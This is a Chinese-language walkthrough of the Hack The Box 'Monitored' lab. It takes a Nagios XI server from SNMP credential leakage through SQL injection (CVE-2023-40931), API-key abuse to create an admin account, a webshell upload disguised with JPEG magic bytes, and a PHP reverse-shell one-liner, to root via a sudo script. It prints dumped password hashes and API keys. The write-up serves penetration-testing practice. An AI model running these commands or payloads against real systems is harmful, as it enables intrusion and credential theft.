HTB-Monitored笔记

2024年1月16日08:37:52评论343 views字数 12811阅读42分42秒阅读模式

HTB-Monitored笔记

扫描靶机

nmap -sC -sV -sU -T4 -Pn 10.10.11.248

HTB-Monitored笔记

除了扫描到了子域名，还扫描一下udp端口，省的fuzz了，将域名们都加入hosts

echo "10.10.11.248 nagios.monitored.htb monitored.htb" | sudo tee -a /etc/hosts

有个ldap的端口使用ldapsearch扫描一下

ldapsearch -x -H ldap://monitored.htb -D '' -w '' -b "DC=monitored,DC=htb"

HTB-Monitored笔记

从上面的返回信息，返回了域 "monitored.htb" 的基本信息，包括它的可分辨名称、对象类和一些关键属性。查询成功完成，并且只返回了一个条目，没什么信息可以利用，刚刚有个udp的端口161，可以参考这篇文章使用snmapwalk工具

https://book.hacktricks.xyz/network-services-pentesting/pentesting-snmp

HTB-Monitored笔记

直接使用snmpwalk

snmpwalk -v2c -c public monitored.htb
svc XjH7VCehowpR1xZB

HTB-Monitored笔记

貌似挖到了一个用户，进入网页看看

HTB-Monitored笔记

从界面可以知道该系统是Nagios XI，这是企业级的网络监控和警报软件。它提供监控功能，能够监控网络服务（如SMTP、POP3、HTTP、NNTP）、主机资源（如处理器负载、磁盘使用情况）、服务器组件（如交换机、路由器等），尝试登录刚刚扫到用户

HTB-Monitored笔记

但是显示The specified user account has been disabled or does not exist.，意味着尝试访问的用户账户要么被禁用了，要么根本不存在，扫描一下目录

HTB-Monitored笔记

可以看到除了admin登录页面，还有一个api接口页面，去这个网址了解一下如何使用API进行身份验证,然后使用curl获得API

https://support.nagios.com/forum/ucp.php?mode=login&redirect=viewtopic.php%3Ff%3D58783&sid=b56c3aaf8e83bab9151b7e0492f231da

HTB-Monitored笔记

curl -POST -k 'https://nagios.monitored.htb/nagiosxi/api/v1/authenticate' -d 'username=svc&password=XjH7VCehowpR1xZB&valid_min=500'

HTB-Monitored笔记

获得了API接口，然后搜索，通过id参数在nagiosxi/admin/banner_message-ajaxhelper.php路径可以找到一个漏洞，对应的漏洞编码是CVE-2023-40931，该漏洞有个sql注入

HTB-Monitored笔记

使用sqlmap注入，将风险跟测试级别跳到最高，token是通过curl拿到的那个，Nagios XI 的管理员端点，可能存在 SQL 注入漏洞。

sqlmap -u "https://nagios.monitored.htb//nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=235199d999e2f7a689fb806fdb8f0bcd6144037b" --level 5 --risk 3 -p id

HTB-Monitored笔记

成功获得了信息然后继续注入，导出数据库，这次sqlmap嵌套一个curl命令，目的是用于从 Nagios XI 的 API 获取一个动态令牌，然后加入awk命令，它被用来从curl命令的输出中提取特定的信息

sqlmap -u "https://nagios.monitored.htb//nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=`curl -ksX POST https://nagios.monitored.htb/nagiosxi/api/v1/authenticate -d "username=svc&password=XjH7VCehowpR1xZB&valid_min=500" | awk -F'"' '{print$12}'`" --level 5 --risk 3 -p id --batch -D nagiosxi -T xi_users --dump

HTB-Monitored笔记

Database: nagiosxiTable: xi_users[17 entries]
+---------+----------------------+------------------------+------------------------------------------------------------------+---------+--------------------------------------------------------------+--------------+------------+------------+-------------+-------------+--------------+--------------+------------------------------------------------------------------+----------------+----------------+----------------------+| user_id | name | email | api_key | enabled | password | username | created_by | last_login | api_enabled | last_edited | created_time | last_attempt | backend_ticket | last_edited_by | login_attempts | last_password_change |+---------+----------------------+------------------------+------------------------------------------------------------------+---------+--------------------------------------------------------------+--------------+------------+------------+-------------+-------------+--------------+--------------+------------------------------------------------------------------+----------------+----------------+----------------------+| 1 | Nagios Administrator | [email protected] | IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL | 1 | $2a$10$825c1eec29c150b118fe7unSfxq80cf7tHwC0J0BG2qZiNzWRUx2C | nagiosadmin | 0 | 1701931372 | 1 | 1701427555 | 0 | 1705259280 | IoAaeXNLvtDkH5PaGqV2XZ3vMZJLMDR0 | 5 | 4427 | 1701427555 || 2 | svc | [email protected] | 2huuT2u2QIPqFuJHnkPEEuibGJaJIcHCFDpDb29qSFVlbdO4HJkjfg2VpDNE3PEK | 0 | $2a$10$12edac88347093fcfd392Oun0w66aoRVCrKMPBydaUfgsgAOUHSbK | svc | 1 | 1699724476 | 1 | 1699728200 | 1699634403 | 1705257680 | 6oWBPbarHY4vejimmu3K8tpZBNrdHpDgdUEs5P2PFZYpXSuIdrRMYgk66A0cjNjq | 1 | 27 | 1699697433 || 6 | clevergod | clevergod@localhost | P5Bg5fhEAJ5nZRU6WrGtAjqjTv9tqhM8IVkrlGPvRQhMqprJq06uf0g2qA5KqlXl | 1 | $2a$10$36a6966416611e0791501uD7KJ289PsLTiT.QiAeMoeX9PP9T5mUC | clevergod | 0 | 1705241773 | 0 | 0 | 0 | 0 | umuh0vRnsk7glrjckIRouFUlSWNltZAhY6bALEZDrKEk4NoeAMdnEuTVU0jZfLXg | 0 | 0 | 1705241816 || 7 | soigan | soigan@localhost | OFBNBIFZmPTAoj4YO42FkJtG04JrboNATKtXmgQ4KgONRETAqj9pAUlKtspvtgOl | 1 | $2a$10$d382ff643308c0a5c3a4dOqNRmDonck748e/74OVTZCTEt.giww2y | soigan | 0 | 1705241754 | 0 | 0 | 0 | 0 | oDs4EP0PMmcE4dE2ElMdkEEm7Hgfo4O293go6IhJ3RSaMifXm5XKueQruH9plpF0 | 0 | 0 | 1705241775 || 8 | Okami | okami@localhost | croGGTlebCq4JTJRgKXIJEeeoIRAQfrID4qiKtmOg8jfOWOaaMYhqo5blik9d7Z9 | 1 | $2a$10$0a281e526fbf51e783152u.V1j6TfS6SmzLS95ACB1Om.2mBvAYva | okami2 | 0 | 1705241773 | 0 | 0 | 0 | 0 | XCG96OgC8fWDa5Qi64NCFuaFHtmFRs9faAVTqOHVkdLO2tZS2AcAWR9e8GXMXagZ | 0 | 0 | 1705241802 || 9 | Jordan McDouglas | jmcdouglas@localhost | C02pjiWAgjmoAhERBg3km7YPEBlpMfGYcVc9t6H9pcZhna02KXYDfp7IvKCftqmE | 1 | $2a$10$68609981a3eb3b26a1e43upveGl2Wl5AsZ9piZoRnz0igTFvQuz1a | bruh | 0 | 1705246996 | 0 | 0 | 0 | 0 | eqZPs9JUfQWn9KGHSIWDSdVP5hoEcsBUN2rE6nDNKlaunlcq4SEOfSgNDOhf0meJ | 0 | 0 | 1705242001 || 10 | myadmin | myadmin@localhost | fqZAK8CQLiPnk42GhsekmmBF64bJVRTE4XF2QkVClvv8XL4f8rUWFJCp72SmhJSC | 1 | $2a$10$fca486c711f019c91ac32usG6t8aPwOxmqMK8K.GWndd7CTmwZska | myadmin | 0 | 1705242879 | 0 | 0 | 0 | 1705248294 | EO7C697ZW4gJTT5vAI0iXEBmM6HBSLfkpLn7MERk3elt0rL62OX5ur0YZgngQZM0 | 0 | 2 | 1705242891 || 11 | trial | trial@localhost | neSUGurU7dYahC0dsadIksXB2gZ8UVKvBU3u2Dm8JViWZ0QI8TBcHEgqAIc3eYHL | 1 | $2a$10$909cef52236dd4b834b43O3u.aDO/VAqnEX4PG7L5mj33OeGMP9KS | trial | 0 | 1705245991 | 0 | 0 | 0 | 0 | f5Av5I9Hvbo8dR7hJYqYh997eoUd4g6CoPkhEGtBdGdWnsWDrK5QOqCBGQkV3OZn | 0 | 0 | 1705246010 || 12 | myadmin | myadmin@localhost | 47Ulg9kDGtG2JOBXrYaNHs00HQOIbdi7gPptD8SWiPcU7Ho9fSqN74IndtFgmUKT | 1 | $2a$10$beb6f8dd9299cbef879c5OZMwbNVaYrXnTlERMT8nU1Gqiv6Tw51C | daniel | 0 | 1705246281 | 0 | 0 | 0 | 0 | S2Mp3R58ZKFRuVL4bMVboo0VdRn5quBVlbXF9tXvkkMol0Hjh4WJ4ZAWUsgbafda | 0 | 0 | 1705246302 || 13 | caius | caius@localhost | kQR93oJTjhp8AtXOoegsZEtgAWAsXQc5Nb68CO4OdofXmaqaQmnWbDSYcrQHplVS | 1 | $2a$10$1ba4796435450f4de15e5uQgSbMoVWVZDdj/KWTtTDWn3qeD9etBG | caius | 0 | 1705248304 | 0 | 0 | 0 | 0 | jPKe7ANBhahFhmn7QAVcNqhfilbU0h6RCFrWiqKiBApemMtBrkYCLfbZuPjrdL2U | 0 | 0 | 1705246753 || 14 | r2alter | r2alter@localhost | 2KED2nU5DUBXoDclXDZdrTELYEYMYCE4J225X5JYbpPtpATBNvK0BMOVB3lZDOVQ | 1 | $2a$10$67761afbd5905b4c383ecON9oIMFHxGLcyscMrmS.ZrQkuSTsZCPi | r2alter | 0 | 1705249740 | 0 | 0 | 0 | 0 | oEk36LTabcGtF8JmBucviWj0jbElaOgqbTNX9C86qiaZsarcLgqeYfOR5eR5kT3V | 0 | 0 | 1705249757 || 15 | test1 | test1@localhost | TFBi9eRYsf7m4MED6MOYbnrkrjYaHLkdmErfj5uOrkv9qcnpvO7DsCJonDQKtcCi | 1 | $2a$10$19a8dc631e010f39c1d38O3lDM1uNrHJ8tXnY6nQGjvQBM2EyP4ZG | test1 | 0 | 1705250532 | 0 | 0 | 0 | 0 | 8nN4drjF4ASZc5MnuMu0S0FJGFg3BtmPea0k4VvN3sUq5Qvh0hd5fO4euVEXLBWi | 0 | 0 | 1705251004 || 16 | Admin111 | admin111@localhost | jXlXoglBRSuSc8iHlIcVK5MK0sa4KFc5FuOTV9t4dHhJN8sc3hofHf530P7vS20Z | 1 | $2a$10$4e8b342e14279e6f3fea0uy4W9Elgt1Jslxis8PsLabFhAVuyots2 | admin111001 | 0 | 0 | 0 | 0 | 0 | 0 | IWlP7jOemd64JFdlDBAf3YWSTZNBvatC0gI5TFP6LbHOZj4jL2eUCF0gMrgQlAAq | 0 | 0 | 1705255579 || 17 | admin18954 | nil@localhost | tRYnaCKdua0NqM0YTQ0aPe9h3RevXhgJbEWdQSCavmLbgNJtAPQmKld869mvCdQN | 1 | $2a$10$c9aa58a5aa9d200df0721uCygEWIIjJUOzcrrI56q8LI9/FDKBQeu | admin18954 | 0 | 0 | 0 | 0 | 0 | 0 | 2d7ZjXXa2lgZm3HYrIL3CkMgKuKP4Mv8VrrI3OdLgKF3pcC0W8SgjGggCBuiK7Nt | 0 | 0 | 1705255670 || 18 | nil | nil@localhost | jscF3TipNPvXlEcVQK68ZdO0FTvW2obEbX6hVbI2mYVMFANKFYJiOv8cA4Hs0P7S | 1 | $2a$10$11f2b396b7747d243406auW.cDbfyUIF40Z8bhbmqX7n8f4FFcOgi | admin17890 | 0 | 1705255762 | 0 | 0 | 0 | 0 | IPodeIqfqMnFaETD8fUIpIXQvJaAIHJettXYbmVEKdqjHO75X0AYS3R8IdMtCkEE | 0 | 0 | 1705255789 || 19 | usuarionuevo | usuarionuevo@localhost | FIivJrkONIn8G2IqlLPdmbKZVgTmfHjjSUdKXpFvgbVUMXSWIWt2UDocYIC4s7fV | 1 | $2a$10$f3934a82d87f410c069aaO2O9i1dKfPc1jJY1wCI6260btwyTq2Im | usuarionuevo | 0 | 1705258182 | 0 | 0 | 0 | 0 | AdkjufJVUhYRLDr5kn0fB0XKej4cTa85eHrNKiY5cdDNZAjLUjLOpXAQqjprk5Hl | 0 | 0 | 1705258157 || 20 | Admin111 | admin111@localhost | AdgPUWh5pLWr9ocRkgRYnkbk4uTtkkG6pQNXLrNZnaaveuYdrQXlbemFa6kv5VHr | 1 | $2a$10$5f550316a5b1eeef1eecauivvMVlRxmwIRsr1GTiRZrLN.QbldUIm | admin111 | 0 | 1705258032 | 0 | 0 | 0 | 0 | ZHOjDbOtA3tjL6C4c85EctnLKI7FtGihc7X54Tmv6EGNAhA3tFC426DK66dZG5fJ | 0 | 0 | 1705258040 |+---------+----------------------+------------------------+------------------------------------------------------------------+---------+--------------------------------------------------------------+--------------+------------+------------+-------------+-------------+--------------+--------------+------------------------------------------------------------------+----------------+----------------+----------------------+

HTB-Monitored笔记

在/root/.local/share/sqlmap/output/nagios.monitored.htb/dump/nagiosxi/xi_users.csv路径下可以拿到一个导出的文件，然后使用curl命令向 Nagios XI 的 API 发送 POST 请求，创建一个新的用户账户

curl -POST -k "https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1" -d "username=caixukun&password=caixukun&name=caixukun&email=caixukun@monitored.htb&auth_level=admin

HTB-Monitored笔记

然后使用新建的账户登陆一下

HTB-Monitored笔记

然后写了需要写的东西找到Custom Includes目录，是一个上传的页面

HTB-Monitored笔记

经过测试该页面是可以通过图片格式绕过来进行getshell的，首先找到需要的php文件，再使用hexedit修改文件，加入JPEG图片识别编码幻数（magic number）分别是“FF D8 FF E0”

HTB-Monitored笔记

修改后保存，然后修改文件为jpg格式，再进行上传

HTB-Monitored笔记

可以看到上传成功了，然后先修改格式为php，修改完毕后预览

HTB-Monitored笔记

预览是不会直接现实php的，所以我们要修改格式

HTB-Monitored笔记

可以看到成功上传shell了，在下面的表单可以执行命令，直接反弹shel

php -r '$sock=fsockopen("10.10.14.67",443);exec("/bin/bash <&3 >&3 2>&3");'

HTB-Monitored笔记

因为www-data用户有着nagios用户的性质，可以直接拿到一个flag

HTB-Monitored笔记

直接输入sudo -l查看提权

www-data@monitored:/home/nagios$ sudo -lsudo -lMatching Defaults entries for www-data on localhost:    env_reset, mail_badpass,    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
User www-data may run the following commands on localhost:    (root) NOPASSWD: /etc/init.d/snmptt restart    (root) NOPASSWD: /usr/bin/tail -100 /var/log/messages    (root) NOPASSWD: /usr/bin/tail -100 /var/log/httpd/error_log    (root) NOPASSWD: /usr/bin/tail -100 /var/log/mysqld.log    (root) NOPASSWD: /usr/bin/php        /usr/local/nagiosxi/scripts/components/autodiscover_new.php *    (root) NOPASSWD: /usr/local/nagiosxi/scripts/components/getprofile.sh    (root) NOPASSWD: /usr/local/nagiosxi/scripts/repair_databases.sh    (root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_services.sh *www-data@monitored:/home/nagios$

HTB-Monitored笔记

先分析一下/usr/local/nagiosxi/scripts/components/getprofile.sh这个脚本，其中可看到这三条命令

echo "Creating nagios.txt..."nagios_log_file=$(cat /usr/local/nagios/etc/nagios.cfg | sed -n -e 's/^log_file=//p' | sed 's/r$//')tail -n500 "$nagios_log_file" &> "/usr/local/nagiosxi/var/components/profile/$folder/nagios-logs/nagios.txt"

HTB-Monitored笔记

该命令的意思是从 Nagios 配置文件中提取日志文件的路径，然后从该日志文件中提取最后 500 行的内容，并将这些内容保存到一个新文件中，然后我们查看一下/usr/local/nagios/etc/nagios.cfg的权限

HTB-Monitored笔记

是带有www-data权限，查看一下内容，可以修改log_file的位置，然后运行脚本，得出文本生成的东西

HTB-Monitored笔记

然后现在使用/usr/local/nagiosxi/scripts/components/getprofile.sh备份

sudo /usr/local/nagiosxi/scripts/components/getprofile.sh 1

HTB-Monitored笔记

进入到/usr/local/nagiosxi/var/components/profile-1705325192目录下，可以看到刚刚生成的日志

HTB-Monitored笔记

然后再次进入nagios-log里面找到nagios的文本拿到一个root的私钥，直接登陆

HTB-Monitored笔记

root-id_rsa

HTB-Monitored笔记

成功拿到flag跟shadow

HTB-Monitored笔记

root:$y$j9T$LLy.W6CI0K6McgXMKio0i1$1omBVYjsg.8qEzyjkL.3kXtpAMZNc7x9CMwOnrwltJ8:19671:0:99999:7:::

原文始发于微信公众号（Jiyou too beautiful）：HTB-Monitored笔记

左青龙
微信扫一扫

右白虎
微信扫一扫

HTB-Monitored笔记

使用 SeImpersonateToken 权限从 NT 服务到 SYSTEM 的反射 DLL

ebpf在Android安全上的应用：结合binder完成一个行为检测沙箱(下篇)

浅谈Kubernetes安全

若依系统恰分攻略

HW必备技能教学之Windows应急响应常见流程【附应急工具】

技术实践｜大模型内容安全蓝军的道与术

Weblogic SSRF漏洞（CVE-2014-4210）

Weblogic 反序列化漏洞（CVE-2017-3506/CVE-2017-10271）

HACKADEMIC: RTB1靶场-复现

卡巴斯基引擎另类免杀玩法

发表评论

在线咨询

微信